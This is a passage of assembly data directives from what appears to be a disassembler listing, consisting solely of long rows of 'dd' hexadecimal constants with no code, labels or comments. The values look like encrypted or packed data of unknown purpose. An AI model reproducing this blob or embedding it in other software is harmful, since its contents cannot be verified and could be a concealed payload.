		dd 0CD40CF4Dh, 0A639092Dh, 60DD1D68h, 91FD4ACAh, 4CAD28C9h
		dd 977C1CB5h, 63D3D54h,	0D2F618EAh, 51073F0Ah, 0F989D825h
		dd 82F20487h, 90DE1355h
		dd 1A800885h, 606EE1FAh, 35806CF4h, 0FCFB73CFh,	58C20989h
		dd 0C57BDAF7h, 1203CA08h, 7087FF2Dh, 0E280650h,	3B4EBF0Ah
		dd 0E5BB2970h, 4F12FF3Ch, 98A4756Ch, 0EE49441h,	59E6E128h
		dd 0C8E08636h, 0F7894DDEh, 6FD97789h, 3CD1C56Fh, 5BABA6BBh
		dd 0F2E47DAEh, 67731678h, 6CB8AC4Bh, 3F9CED80h,	0E9742FC3h
		dd 5BB9665Bh, 1F1CEF84h, 0F4F6FB89h, 8BCB85FAh,	238EBF0Ch
		dd 0E125210h, 12069A68h, 92D3F3FFh, 1F01E1BCh, 0B861EF4Dh
		dd 890BAD1Bh, 0EE597FC0h, 0F0E95761h, 0C828F050h, 8B806F2Ch
		dd 8BA6959Fh, 11C7CE02h, 9F804342h, 10980C35h, 4B5FE913h
		dd 7C80A85Fh, 0EE81F017h, 7A4D1348h, 3AF3FC34h,	7BDC046h
		dd 65331E59h, 0FC98B245h, 24478168h, 0C40E4049h, 0CFE4C5E5h
		dd 0D61A161Dh, 0F4B3F569h, 5858A79Ch, 96521838h, 2DDB828h
		dd 686D475Eh, 0BCE6314Bh, 0F3E9534Bh, 135E2F84h, 8B4A11FDh
		dd 0CAA33933h, 0D315A8A3h, 0F93FB328h, 604F3E97h, 0EFCA809Ch
		dd 0FF169991h, 0F545513h, 7AED25B8h, 11E59DEFh,	0DE0C2880h
		dd 4F38E926h, 3ADB40D7h, 8168C467h, 7E2F604h, 17BF3943h
		dd 7C074480h, 77B116C6h, 82561A30h, 27F9E47Fh, 0CF224936h
		dd 68019431h, 405528EAh, 688353B2h, 0BA8473E9h,	7F8B5FF2h
		dd 625E34A7h, 35DA8DF9h, 2974C205h, 43FA487Dh, 6F0FF203h
		dd 0FB4876BAh, 3D28FBC2h, 0EA048299h, 0E3695EC7h, 535DC1EBh
		dd 6C8F7A77h, 0C5ECB24Ah, 0F3FE9E8Fh, 30AF10B6h, 29DCAC25h
		dd 0C5250D58h, 89DC9A3Bh, 89EC3FDAh, 6AC9B04Bh,	0DF1A446Bh
		dd 0D7989516h, 0DB0EC725h, 0DABF800Fh, 0E92DCA10h, 5B692330h
		dd 3D1FBACBh, 449650CFh, 0D863A859h, 82A61214h,	0F02D9374h
		dd 1105090Bh, 772BFAh, 0B522C6ABh, 8C5C9F1Bh, 0A61E3902h
		dd 0B6E6006Dh, 0FAB78A92h, 0F47FFF5Dh, 727E947h, 36671D9h
		dd 0F68E1F7h, 65BFB84Ah, 17CDFDD0h, 76ECCD4Ch, 0A4300BC4h
		dd 0C7098182h, 418D6F7Bh, 2800B097h, 720304D0h,	0B652665Ah
		dd 0B7F0CB71h, 0B742FD89h, 31658774h, 0ACC013C5h, 16676ABAh
		dd 1C4A5ED1h, 6B10CFE6h, 0D5872DE0h, 312E169Bh,	3370EDC2h
		dd 0C09883B1h, 769DCB28h, 31AB6238h, 67C9BDA0h,	1B482514h
		dd 581F7D68h, 853A2A7Fh, 124D38DEh, 0BEE0D0BBh,	557E345Fh
		dd 16AF102h, 62313058h,	9E545FA0h, 173BAF48h, 0A910E40Fh
		dd 8C728C6h, 0DEA84F9Bh, 20429089h, 2C16E476h, 8BD24CCAh
		dd 0A590563Fh, 0DC83CC60h, 501F8627h, 9D369631h, 0E55B9429h
		dd 5B446910h, 68036EC0h, 0CC434A31h, 3B12E670h,	381C0844h
		dd 0BD7FC9h, 0E905EBBEh, 289BA20h, 0D64443B9h, 21DD512Ah
		dd 79E9D167h, 5800DB78h, 337A6855h, 5D1F2A54h, 5BC9EA31h
		dd 3D146430h, 0E03D5557h, 9FDCE45Bh, 0D2FAAB4Ah, 0D3A93E63h
		dd 3A5FDCC9h, 2F9E4CD1h, 1388C7Ah, 0F7973FB8h, 96F753BAh
		dd 6AAB20D3h, 0BD875C60h, 1AE361BAh, 1D5B685Dh,	293864C1h
		dd 0DE8B39C7h, 6CD8E7E9h, 0DD273844h, 0EE03F502h, 0F988107h
		dd 0CDA0D904h, 7DC96CE3h, 26FCDEF0h, 4E948254h,	0FE5D44E0h
		dd 0B87849F7h, 1490375Fh, 2F19EAC5h, 0F6C23B9Bh, 6BA9F9F7h
		dd 14518D5Ch, 884D6909h, 0B2882D50h, 0D778EC94h, 12A42D5Ah
		dd 0AB3E1844h, 8BE50C1Ah, 577FD113h, 27549D40h,	90597DC4h
		dd 5F07812Ah, 189CCF00h, 0CD890B16h, 42D0F121h,	19CBD82Ch
		dd 749F1B58h, 0E440CB28h, 573009A9h, 2517D806h,	17F1A73h
		dd 8075EF1h, 56D9905Eh,	4F138D68h, 73F04A1Eh, 0B512F251h
		dd 2584FDE2h, 0ACA7B0EBh, 0DDD83026h, 9F0B658h,	0F23CE951h
		dd 0F8103929h, 0D7972DB7h, 0D3273196h, 0A5CAD95Ah, 77D836Ch
		dd 0D6405A81h, 5EC9554Ch, 1250943Dh, 334F1B08h,	0E9D85204h
		dd 0D9EE4AA4h, 51F5CA2Dh, 4F6A6286h, 0B207109h,	0CC203F29h
		dd 0C4FECC88h, 0E35C30E9h, 0B83A82F3h, 60F65268h, 81C924B3h
		dd 9FB75054h, 4A5B157Dh, 71CEEEB4h, 85CD4B40h, 7B64054Eh
		dd 4CC8C020h, 1524D112h, 0D210304Eh, 0C89BB38h,	8D136F5h
		dd 95FDD82Dh, 809791F2h, 61E956BDh, 40A396BBh, 0C3427BFh
		dd 6C814813h, 6E4489FFh, 0D24473B5h, 0D55E5292h, 0EB5C3A6Ch
		dd 0B09E2046h, 5647387h, 0D5286CC2h, 1AA6EF5Ah,	72E95305h
		dd 0E349FB10h, 217D0056h, 98402645h, 503AEEB9h,	5DFC8F9Ch
		dd 89273F0Ch, 5FFDC7E0h, 0D7C219B1h, 0D0C40B96h, 45ED9F5h
		dd 93D6D2FEh, 0C3D5A84Ah, 6510C1BAh, 0E813F976h, 0D3DA44A0h
		dd 0AD83BF87h, 50EDBDE2h, 5B4B9F22h, 7DA82146h,	2FD77753h
		dd 2D5C5721h, 426469EFh, 0A8EE5485h, 3D680336h,	0D8F709ACh
		dd 0EBA6E9D8h, 1EB6BA80h, 8C206E2Bh, 0F8BF24EDh, 565FA3C5h
		dd 0C977E7FBh, 16EC5D5Ch, 6866BE80h, 0D1AFFC4Ah, 21D2B4D4h
		dd 57A4F24Bh, 1C4BF802h, 0C3C95BC1h, 8C787777h,	0A0F62FEBh
		dd 0B8C16717h, 7C28F1C5h, 402FB32Bh, 69826DACh,	0B0212108h
		dd 0B60470CAh, 6A7B03D0h, 2CE1024Ch, 7969CDh, 35194E89h
		dd 173FE281h, 91ED318h,	6F56B8B1h, 0C54F3550h, 0A3CAB781h
		dd 66B2970Bh, 2596031Ah, 923A9E81h, 8E0D704Eh, 3004551Eh
		dd 0D0B0E7D7h, 796C68Fh, 122F6919h, 0EB57D901h,	8CCCD7Fh
		dd 0F5257527h, 0E1203665h, 8A9830A0h, 67E7C080h, 0B4070606h
		dd 1731A83Bh, 0A1A68268h, 7222F904h, 5588548h, 0EB878456h
		dd 1254D6CCh, 53704D06h, 0BCDCFB88h, 27402D68h,	757A5B7Ch
		dd 0D5621C5Eh, 0C5227D08h, 1D72D48Bh, 22F5969h,	0FF6A6DBh
		dd 68F0435Fh, 0FF34138Eh, 51C09BABh, 2667B0EDh,	1F057BEBh
		dd 0AFD5EFFEh, 28F2E17Bh, 78308740h, 50B40CEAh,	0A00C7BCAh
		dd 0D6AE5113h, 9EBCF952h, 0B58384A5h, 0BFFDE7BBh, 73315CD3h
		dd 4B7E860Ch, 415A8695h, 0E15B4A1Bh, 795CC4C0h,	3DFA2AE1h
		dd 0A9F32BE9h, 4C0E2D6h, 47327738h, 6FA609FAh, 0DD25AD7Ch
		dd 587F21B2h, 0C286B1DFh, 58D2533Bh, 4B318020h,	5F41CB01h
		dd 3EFE29ABh, 1CE021EAh, 504AAF2Ah, 63084974h, 89D68D52h
		dd 2A50402Ah, 704C6062h, 12DE4CC6h, 0C800CD5Dh,	3CB61C91h
		dd 90A38E9h, 49DAFB4Ah,	0AC22324Bh, 43D35F4h, 44E64BA6h
		dd 9682B0h, 812DD50Dh, 28AE41EFh, 730B0A4Bh, 0AE7A5421h
		dd 0CBE987CDh, 7377097Ch, 61340ECAh, 0C54141Ch,	2B136883h
		dd 0C9417F16h, 639733EFh, 97FCEBAEh, 21FB375Bh,	1298438h
		dd 6D715BB8h, 4D225DF2h, 5EDCFCD0h, 791BF462h, 5B90BCF1h
		dd 8FB04B26h, 418C2968h, 0EA5A96EBh, 0B92F0669h, 79EA31Fh
		dd 58C20179h, 2C43C83h,	1243D5Ah, 680911E8h, 0AD14534h
		dd 3DBC34BAh, 6BFE80EAh, 154FB00Eh, 0E96F0FF1h,	0F9AFE488h
		dd 28F910A2h, 0FFC9B917h, 8193741Eh, 4D735FBh, 175626E5h
		dd 0D2E4C1AEh, 5A5C3479h, 49B9785Eh, 2419ADF4h,	0D87984Eh
		dd 820935D1h, 7D72A5C6h, 0EBF69F6Eh, 4379059Dh,	51892AFh
		dd 0DAD44D5h, 3DAD76A0h, 0CC906B88h, 266711E1h,	3E2F0BC4h
		dd 270FBE84h, 47FDC310h, 0ECEFD891h, 0FC954F5Eh, 0EA05C59Ah
		dd 0A92D5447h, 1436E20h, 0F36816D8h, 15CE8D4Dh,	8BFF0B0Fh
		dd 16BB4620h, 23609B4Fh, 3BC4789Ch, 0DA009518h,	65E6856h
		dd 4B1B193Ah, 2F352EFh,	0C2496A86h, 7E2B7C0h, 0BEA7F6B5h
		dd 5AA4E12h, 825AD14Fh,	68E1CBC3h, 0A7D32B8Bh, 90BB4B01h
		dd 3843EDFEh, 0F1294914h, 59312D8Ah, 5350C013h,	0B0072EB7h
		dd 5BF83064h, 33E94BA1h
		dd 652B122Ah, 10C8AD62h, 0FF2E28F3h, 0C8192519h, 8A41C8B9h
		dd 0F0E96E1Eh, 15E59C6Fh, 0A31DCF68h, 0B43CAD81h, 61C02A17h
		dd 60EC2722h, 1C960C3Fh, 82907503h, 0EAC5DF60h,	69B62BD4h
		dd 8B070C1Dh, 0F1FCBB0Bh, 955BDF8Dh, 82375C20h,	0F366B761h
		dd 7C5E0C2Fh, 6407D078h, 5A8E5A81h, 4A291D9Ah, 49874C80h
		dd 0CC15923h, 6608195Ch, 666B56Bh, 14810C08h, 84A63E5Ah
		dd 0E4B13712h, 78092D04h, 0F7515FD1h, 5AD77BE0h, 2BF34DB8h
		dd 805620FEh, 681301F5h, 0DE302539h, 2FE977B0h,	2BFF33A9h
		dd 5A9BF5F1h, 2A7C38F1h, 134A92E6h, 702DBBA6h, 77FB8047h
		dd 0ED60FD1Ah, 7CBD4AEAh, 0E3044B49h, 3B64FFC8h, 2F6869C8h
		dd 0AD931F9h, 0DC5F2962h, 36E941C0h, 0CCD06BC7h, 5A2BC380h
		dd 13BE0666h, 0D021A4Dh, 2A7D7CA6h, 25A08851h, 0A3C58913h
		dd 1C054080h, 0F690E080h, 5ACDF8C1h, 0D0D9D18Fh, 80CE7B3Bh
		dd 0B4F8913h, 0B25D0238h, 279F6CFCh, 3BC832C5h,	71017D8Bh
		dd 0D039BB0Fh, 0D13A29D4h, 1778F83h, 57C67668h,	0E9C1B29Ah
		dd 22BB0052h, 0EC362D9Eh, 0E1F08082h, 36735F29h, 0B6827D2Dh
		dd 26572E05h, 106BC81h,	88536601h, 0D1D7F6F7h, 866121FEh
		dd 284FB714h, 73E91511h, 61488058h, 9A021507h, 30B1C254h
		dd 89695D76h, 2FED26Fh,	292D371Ch, 5531D331h, 52B48342h
		dd 3D107D5Dh, 0DA97E89Bh, 4890BEE5h, 0FCC2B4F1h, 68F582D8h
		dd 637CE977h, 75BA2690h, 0A42BD7CFh, 1F4AFCCAh,	0A50A552Dh
		dd 78169513h, 0B6B0D85Eh, 114FBEh, 5864BD7Ah, 0DD29EF79h
		dd 0B54DE930h, 0F1D1D9F7h, 0D677A83h, 0C8067308h, 5CA9113Bh
		dd 3955030Ch, 0CA293E7Ah, 0A0089641h, 0E927140Ch, 0D5CD8BDFh
		dd 276B16C5h, 0E22E014Fh, 51CD685Bh, 9E4A0C9h, 1BD869F8h
		dd 7982CFF6h, 0FD3A742Ah, 0C20F07Bh, 0E1885D4Ch, 48180512h
		dd 0C1EC2527h, 7FD6989Bh, 0FD95D1C6h, 25CAE213h, 93E87754h
		dd 5201B922h, 0B01BA368h, 0E0825A1Eh, 1240083Eh, 7627E4E0h
		dd 6A31E12Fh, 74080925h, 765F5A37h, 0A5F769D2h,	0CA1E012Ch
		dd 0BD7704EFh, 3140B0BFh, 0F05DFDC9h, 13AF4AE1h, 2C8BFA08h
		dd 9E85E909h, 0B613F6E4h, 54E853F6h, 251E0310h,	0BD655D52h
		dd 6684DB0h, 69669579h,	8E329C80h, 0B055E80h, 61F878E6h
		dd 0E2DE205h, 0CBCF5B07h, 0FB55CA44h, 80367D4h,	44209E9h
		dd 0CD27DCD9h, 0C2D6873Fh, 5BF78E7Fh, 9168413Dh, 4FDB8932h
		dd 8C7157ADh, 7E6C7549h, 2A2E9B02h, 565D5303h, 95AC8A76h
		dd 2EE8B9Bh, 0C42E36DAh, 0B94AF297h, 3B931508h,	3B7ED05Ah
		dd 7C60F33Fh, 76BE5613h, 0B8A04E37h, 0A5693EE2h, 256DDE6Eh
		dd 0D17D9542h, 20F5EB45h, 114C6BD4h, 0C690A028h, 0FFA67E6Ah
		dd 772CAF2Fh, 4EB5B0CDh, 5D970BDh, 0CC164179h, 8110296Fh
		dd 30E05A07h, 250B9CC9h, 0D7801ED7h, 0A5D2A28Ch, 2B911A0Bh
		dd 0E0A7FB5h, 54303C40h, 519FEF91h, 573A3F27h, 53E90790h
		dd 0F623C060h, 7B4D5673h, 17424A32h, 0F938EB69h, 35296097h
		dd 268270F5h, 4731482Fh, 0C3273E48h, 4B0B99D4h,	354FDF23h
		dd 740F680Bh, 0FCDE2DAFh, 0BF44FB50h, 0E9F8547Ch, 13A9B6B4h
		dd 5345225Eh, 62208B40h, 2C80B89Eh, 2975F023h, 0F2459DD6h
		dd 0E9F12181h, 0E8114CBh, 0E277BCBBh, 9B3C807Ch, 0E9283E02h
		dd 0E52767FEh, 0DD4373F2h, 182C601Ch, 4B53E80Fh, 0B77CC0CEh
		dd 4ABCEEABh, 0A42BEC4Eh, 25E954F4h, 594422BAh,	0AA93DF95h
		dd 9626C010h, 2EBC680Eh, 0EADDAF16h, 1D25F43Ah,	8AF9165Ah
		dd 368E0AD2h, 0EBD64F0Bh, 0E909BF2Eh, 24C85DF1h, 0C6959D68h
		dd 1AFA2530h, 54F3FF6h,	25EA4156h, 16F4849Ah, 8952B9E4h
		dd 5AE52139h, 1630D829h, 0B0BD83F9h, 6455495Fh,	0DE768B70h
		dd 0B2BE55Bh, 101BD08Eh, 0F8DC17C2h, 5FAA040Eh,	2C8097BCh
		dd 0F930C4AEh, 9BC9DF02h, 0A73B227Bh, 443CC0Eh,	0FEADF3D4h
		dd 8FB0BC01h, 59265006h, 891C1F36h, 3EF833DDh, 9308EF51h
		dd 0ABB1582Fh, 0FFA47F2Dh, 453A1029h, 0EE26C164h, 3D188EE7h
		dd 42BF0A6Bh, 1A5A3F00h, 0A5C0C2B8h, 72E198E5h,	0E087BAE9h
		dd 0C58012FDh, 3061CCD3h, 28FFE85Eh, 0B44850C1h, 58E31263h
		dd 0F573B0FFh, 0BFE91B12h, 18025E5Dh, 577F2A63h, 4293E205h
		dd 2EEF80F1h, 0C2F45B82h, 4F8FED20h, 8674524Dh,	0B3BF6813h
		dd 0A3E909BAh, 6FEDFC15h, 0FFCC8624h, 2F681898h, 4FE83FEBh
		dd 61C3AE80h, 0D37B18EEh, 0BE0C6726h, 895B9513h, 336CCD14h
		dd 6B8F8C21h, 0D46D4192h, 0CBC52102h, 89B8AAF5h, 8EA6A073h
		dd 0A749BC27h, 0BA1338F5h, 98FF95B8h, 3F5F1ED6h, 0AB1A762Ah
		dd 40753A46h, 1F20EB54h, 7B427351h, 0C51B3834h,	0BBE15314h
		dd 0DC2CA67h, 9907CEA1h, 205A3204h, 782E5D4h, 0CA1B96A6h
		dd 58FE5F86h, 35FA0649h, 74AAECD7h, 5DC92D5Bh, 719596F5h
		dd 7C86A939h, 13005FACh, 596081DEh, 6CE2A56h, 7289E909h
		dd 35005DF2h, 0B933127Fh, 5FF644E8h, 2F3F831h, 272422BDh
		dd 38B3E061h, 6DBB306Eh, 0AC2ACC0Ch, 13D21540h,	0A91E633Eh
		dd 0A00841CFh, 0C098140Ch, 0FF4E480Bh, 0C5025F4Ah, 0C05D1FF1h
		dd 2C5BDDC0h, 2F84559h,	4DC94488h, 0CE13067Ah, 0B7E4B817h
		dd 0F9EE5B08h, 1A979EEBh, 48407BC1h, 9B384ADDh,	0C8B70F02h
		dd 6676DA68h, 0FFA80D93h, 0A177BB5Eh, 35E96841h, 0BBCD2830h
		dd 808800E7h, 0D6F620E6h, 7E4A8CFEh, 16D9BAEDh,	0BDAB049Bh
		dd 8E950431h, 0BAAD53Ah, 7AFE56E3h, 0AFAF562Fh,	400986D3h
		dd 0C906F990h, 0D0384DDCh, 354CC9E8h, 0A901A49Fh, 28E70C74h
		dd 0E9C9C17Ah, 14A975B5h, 7D45AF94h, 98B46557h,	29712691h
		dd 0C562090Fh, 3CDCD157h, 42383393h, 91ABC18h, 97E7D480h
		dd 2B0B6250h, 0E46E24E9h, 4554A1A5h, 505B5800h,	0CF535C9Ch
		dd 9D535759h, 0E43A96EDh, 3AEAE982h, 20EE85C0h,	0A85713CBh
		dd 254AFAA0h, 0ED7C6848h, 5F680720h, 0D60AA5FCh, 0FD40CF95h
		dd 900DF05Ah, 0A927BD6Eh, 0E993CC29h, 9837902Dh, 8354B291h
		dd 5475A01h, 0DBF76994h, 0BD555D81h, 24AF2DE1h,	913A784h
		dd 0A4E07FE7h, 3F333E79h, 7202CD00h, 70E97142h,	0B8038397h
		dd 206A13D8h, 2CCD000Dh, 7D422D58h, 8415053Ah, 1FB25DABh
		dd 0A00916ABh, 784BF0A4h, 468340D7h, 0BBAA02E4h, 27082566h
		dd 314260DDh, 0B521FFFAh, 5CC9CA6Fh, 3A306CCh, 2DC84FD8h
		dd 644242E9h, 546007Fh,	7D6241E8h, 0E7AD2A38h, 56CE1786h
		dd 8917B85Dh, 0FE895F5Ah, 15B82F5h, 0F8EDF585h,	0B758C03Ah
		dd 410550ECh, 5F383143h, 4C56A203h, 0EF218805h,	0B12B4BE9h
		dd 74BE2E7Eh, 40F1FB8Eh, 0E190FD2Fh, 0B5651CE9h, 4092B13Bh
		dd 443A1189h, 35B8734Fh, 0E4FC5989h, 260102E5h,	873E57EBh
		dd 6A395E01h, 8E3ECF99h, 4879587Bh, 0D219103Ch,	0B1662C07h
		dd 0C1C105D3h, 246A02DEh, 63053F61h, 0D7F723B5h, 0A38182C1h
		dd 9683ED2Ah, 0D43ADD8Dh, 8B30C129h, 80BC3E2Eh,	1FAA0B96h
		dd 53CAB033h, 0C380F968h, 0CBFEAB1Eh, 14577A8Ch, 0E00E77B3h
		dd 0FAD9924Bh, 0CFE6729h, 36AC5068h, 87A05D6Eh,	0EF273C90h
		dd 0A80754Bh, 0F07C0BC6h, 172C6640h, 0B00D9B5Eh, 48278B65h
		dd 20F37838h, 0F49D653Bh, 3B43F939h, 5196B200h,	1DD3DB9h
		dd 0CE31F5C7h, 93F02959h, 310B5EE5h, 0F59D9039h, 0B02FE33Fh
		dd 2106E4D4h, 0FA01209Bh, 4508831Ch, 39F0141Ch,	1C7D2604h
		dd 8BC61C3Ah, 0C5CC5E32h
		dd 97879E20h, 84A71468h, 89727D82h, 5057B581h, 525DE8F5h
		dd 301268EEh, 5213DA5Ah, 0DADD5BEh, 13EF8D7h, 2D1E1FD9h
		dd 0DD6E014Fh, 0D0898559h, 0DBE7022Fh, 0E482236Ah, 87F67567h
		dd 0E2CC119Fh, 0E0A20C49h, 0BB23502Ah, 19551372h, 5E8E650h
		dd 5DC44113h, 0AB110982h, 0D45F7AAh, 0D5A51CA1h, 0D6956466h
		dd 45069758h, 0F816E975h, 0B551075Eh, 0FE4266E0h, 585AF544h
		dd 82B51598h, 0DD4E1E26h, 6DD0824Ch, 28482C9Bh,	0B17BE8ADh
		dd 0AA0580FDh, 0A12FE616h, 0CD317BC1h, 0F1814100h, 0B5E80307h
		dd 2BB0184h, 935F757h, 513DE01h, 6AF86FF5h, 39980D03h
		dd 0E001B41h, 1193822Dh, 0EBF25E8h, 0D158036Dh,	509A0BF7h
		dd 0CCDA0368h, 29B59017h, 5ADACAEFh, 0A253AC9h,	0C15F103Fh
		dd 0F11D7A05h, 10CD0F3Bh, 0C3013E6h, 47D91202h,	5DCFE9EBh
		dd 122648E5h, 48433207h, 0EC6DF850h, 0E6C29551h, 11B4070Eh
		dd 9E9A65Fh, 335788E9h,	3CA2BFF0h, 41E8CAABh, 0BB2E7399h
		dd 0A8BB8034h, 747CE9BBh, 29473618h, 3F1E6FC1h,	0C2C91F6Dh
		dd 5A04D43Bh, 2E4A16DDh, 69A3600Ch, 7FEFED0h, 0E730B195h
		dd 680C077Ch, 613B310Dh, 0EA26B2A4h, 21023D08h,	0CA68F038h
		dd 5ECB6133h, 5F62FD57h, 0EE7C44Dh, 681406B1h, 4A12E5C1h
		dd 43C2885h, 54015D3Ah,	0D46054FCh, 0EC2FC090h,	6DF4CEF6h
		dd 0F27B20B5h, 4EE5992Ch, 1ABAAC93h, 0F71A7D08h, 97FABB82h
		dd 1225940Ch, 0B64343Ah, 0A9C86D5Fh, 51257D9Bh,	0EFA0575Ah
		dd 8EF58145h, 4CDE4217h, 5BDF5C11h, 611EF413h, 3DE0E892h
		dd 4AC0985Eh, 137EB94h,	20CA4BBFh, 80FBD60h, 59469092h
		dd 0BB02BF32h, 0FD87B9FEh, 0EDCC207Dh, 60B2530Eh, 27DCFE2Dh
		dd 0DBFF1A46h, 2A081C41h, 123C0CB0h, 16629D2Fh,	33FB895h
		dd 125A1452h, 0EF874F05h, 54E90102h, 0C1477DA6h, 4358123Fh
		dd 0C411A3EBh, 0AF161A42h, 40399780h, 0F71E4AB3h, 7B0C45DFh
		dd 65F92329h, 47F7B007h, 275AD7Fh, 0A813DF4Ah, 2A629B0Ch
		dd 0DDFCE1BAh, 0C7D8970Ch, 0FBE5E89Fh, 0C8A00B3Fh, 7C53D301h
		dd 3CAAD888h, 0D7FC5AF6h, 56A8C0AFh, 0E0CC688Eh, 13EA17CBh
		dd 0BC2A78Fh, 0F1C22EAFh, 0FD4B4840h, 0FC04E4BFh, 10826634h
		dd 295A6758h, 1D503FB6h, 7E26B7A1h, 0D04F6E0Ah,	72C63CA8h
		dd 0EE487537h, 0FB773941h, 0ADD47935h, 646EB892h, 6BC35830h
		dd 0A51ED16h, 0A4262F91h, 601B0BE3h, 0FE6B31FCh, 844D17B0h
		dd 0AAA7AABDh, 0B0EA1DD2h, 136BF66Bh, 870D1427h, 0EFA45AE5h
		dd 0F1CBECEFh, 0FB34B7E9h, 67602768h, 26301198h, 75313A9Fh
		dd 4F42F8Bh, 627DE961h,	5AD532Ah, 0C2C8EB36h, 0E141B069h
		dd 35317E9Dh, 0C0047735h, 4488E199h, 0E4D6A37h,	0D1933FE1h
		dd 0C305CCAh, 317E5053h, 948B38BEh, 0C19B5F1Fh,	8777DD8h
		dd 7D7C0125h, 0C086A92h, 28D42514h, 762FE442h, 5C185641h
		dd 0B1773CD2h, 2CB2C518h, 0A1EA1241h, 0D88B2A87h, 9FDA84Eh
		dd 0F7891868h, 21669251h, 0FD5D4ED5h, 4B2C8515h, 829B50A2h
		dd 72DDD79Ah, 20AC90C9h, 82B74E85h, 0B0F877Dh, 0E0C9720Fh
		dd 0C87ED57Ah, 4E0A975Dh, 491A2BBFh, 0D86B2AFCh, 125671B5h
		dd 0F2A29721h, 0E4F74F5Ah, 7BD28265h, 54510A19h, 0D12C44F5h
		dd 715D57BFh, 689D700Ah, 66415125h, 0E01E490Dh,	0CDB90C7Ch
		dd 6FBC59C6h, 0A7CEAA58h, 13215C09h, 86B0E97Dh,	52DBE45h
		dd 565390EDh, 0BB8F4435h, 0F04D938Fh, 5FF089BAh, 3F85F4Eh
		dd 18F8F2A7h, 68A6B055h, 8C114B6Fh, 1658752Eh, 0EB810A6Dh
		dd 0C5010671h, 193F1CF5h, 47304F00h, 0DD01661Ah, 0EA080A92h
		dd 3C9C115h, 285AD788h,	20D2E6F8h, 293BC7B5h, 34D292F5h
		dd 680E0FF7h, 0AF166C21h, 0DE2F0ACAh, 0DF6BDE79h, 7CBDAF31h
		dd 0EFCF5018h, 0AE822E97h, 0E904DD59h, 31F449D0h, 81361455h
		dd 1604C964h, 0C27A6575h, 504D2A3h, 121FA1AFh, 5E0357ECh
		dd 0E0DFB247h, 1E1A9841h, 531544Eh, 909412E9h, 0C03B8A87h
		dd 40EB4A4Eh, 3C91BFFDh, 4F6F420Eh, 42FDA93Eh, 18ECF7DDh
		dd 0EF0B18CDh, 0D790B86Fh, 0AAB225FEh, 0DD90CCCBh, 1E0B45Eh
		dd 0C813FAC6h, 0B0500F8Ch, 16B22411h, 0D07FC429h, 5486C251h
		dd 5666BD16h, 5E714309h, 0BF44E431h, 0B468ED30h, 119BBD6Dh
		dd 0D8E82A4Bh, 505A88E4h, 19161C10h, 91798581h,	268F7109h
		dd 610C416Eh, 0EA1A0575h, 6185EBF5h, 292726E9h,	0B0982F81h
		dd 775480EBh, 0B7E0D180h, 0E8A8A3E3h, 24128335h, 10BC644Ch
		dd 21E2B4Ch, 0CB6CD422h, 5E187601h, 2440E9ABh, 0DDE72CA9h
		dd 658E352Ah, 0FA002AB1h, 8DB833BEh, 12D16429h,	90CF9EBh
		dd 0F7ECE7E9h, 4CA7CC98h, 1C68469Dh, 276E5868h,	9DA71EF7h
		dd 0E989A3FBh, 0A61DD80Dh, 0C6810290h, 5A222E65h, 42C4A55h
		dd 40AC5B08h, 0A438E982h, 0EBFC3752h, 0F6E1EE2Dh, 0DAE2429h
		dd 601E9CB2h, 11270763h, 93C0D66Ah, 5D84C2B3h, 10D420DDh
		dd 81766E17h, 15E47059h, 0B71423B7h, 0D5F7275Ch, 799BF540h
		dd 7876172Dh, 14022506h, 5642C61Ah, 0C3173767h,	0EB7738BFh
		dd 32BA602h, 49A9E918h,	4E215AFBh, 156A0C6Fh, 9CEEFA7Fh
		dd 69EA9F5Fh, 0A6A83FD4h, 1290BBE2h, 0B4264A94h, 0C5947962h
		dd 545B2708h, 9BDC5268h, 3B9BB4B0h, 1A5B4CD1h, 731B7501h
		dd 7C41E903h, 75FE696Eh, 6744AEDBh, 675E01FCh, 0F20FC232h
		dd 0B8090DD9h, 0FFCC4210h, 0DB556E12h, 0C435246Ah, 0DA42EB2Dh
		dd 0F2D91AE9h, 0F0064E0Ch, 690AEDF0h, 0A029C239h, 8A5EB211h
		dd 0B62D7E3Bh, 0CAE6C864h, 0EED083BEh, 5B07DE30h, 0B82C3604h
		dd 0AEE97D20h, 4C7BB560h, 6EDB94BDh, 16BDC1CFh,	2700253h
		dd 7E8C55C7h, 0DEC03339h, 0E96E1361h, 0BB7FAF2Ch, 65658A96h
		dd 9FDC482h, 59A54675h,	5F2D504Eh, 44A7F645h, 0B58FF856h
		dd 60681421h, 0B2987E18h, 5AB3F4DAh, 0CE494020h, 6A853A5Ah
		dd 0DEB85000h, 952C305h, 40A898C6h, 0CA048162h,	0A9935A7h
		dd 0A43684EAh, 3D17EB10h, 77E0388Bh, 82789D5Fh,	97124920h
		dd 0C2B7ED70h, 6ED4197h, 2CED5C60h, 3F644414h, 0C8721DFBh
		dd 0ACC98103h, 3E1C5813h, 0F69442AEh, 0F889B03Dh, 0A6CBF87Fh
		dd 0C3AECF6Fh, 13397C2h, 21448662h, 375B0B81h, 103B58ACh
		dd 57C221Fh, 1B9F4E6Ah,	7C06D0F7h, 7EED1241h, 59DF46E4h
		dd 0FA02EF1Dh, 5871947Eh, 0C792EA58h, 1FC5C9Fh,	0D861C24Eh
		dd 51FC9C55h, 0CF1C67EEh, 38A19FD6h, 9D59A93Fh,	0AE369D53h
		dd 84AB4BC8h, 6D1431B8h, 94C06C40h, 871A05D8h, 9EA15C5Eh
		dd 905D0CCh, 32526E2Ah,	7B27684h, 2E1CB81h, 0E3D814E1h
		dd 10641FEBh, 0B7F30145h, 0F3426708h, 0EF5DF1DFh, 88027B27h
		dd 7D504B82h, 3D3A21E0h, 0FF2DF491h, 0A3A16FBEh, 76732DD4h
		dd 0E48CBE38h, 9EA1C7C2h, 4ED0F02Fh, 98D3283Dh,	0F61620A2h
		dd 0E864CD6h, 1ED80127h, 8845BF2Ch, 0EFAA4A53h,	7612365Fh
		dd 3E64BDCBh, 2D17EC6Dh, 0AADBE451h, 8067BD8h, 0E92D4284h
		dd 166AC6FFh, 4AC8E797h, 7750F0D1h, 0F5E1207Fh,	1898EF7Bh
		dd 276E21FAh, 126CA61Ah, 25E59D0Ah, 97AB1E0Ch, 3D0998F6h
		dd 77BF8059h, 0E04208E3h, 0A6281E25h, 284B47A5h, 3D9CA32Ch
		dd 6999DBB6h, 2B5B16FAh, 0D8F7E780h, 79D69553h,	7926D9AEh
		dd 2540CB08h, 0D42724F4h, 37FFEBD6h, 8476AF44h,	0ADAACF64h
		dd 0E853DF93h, 0C2B071BCh, 0B73212A2h, 5FDAC41h, 5FD0085Ch
		dd 45C74713h, 0D5E0FF49h
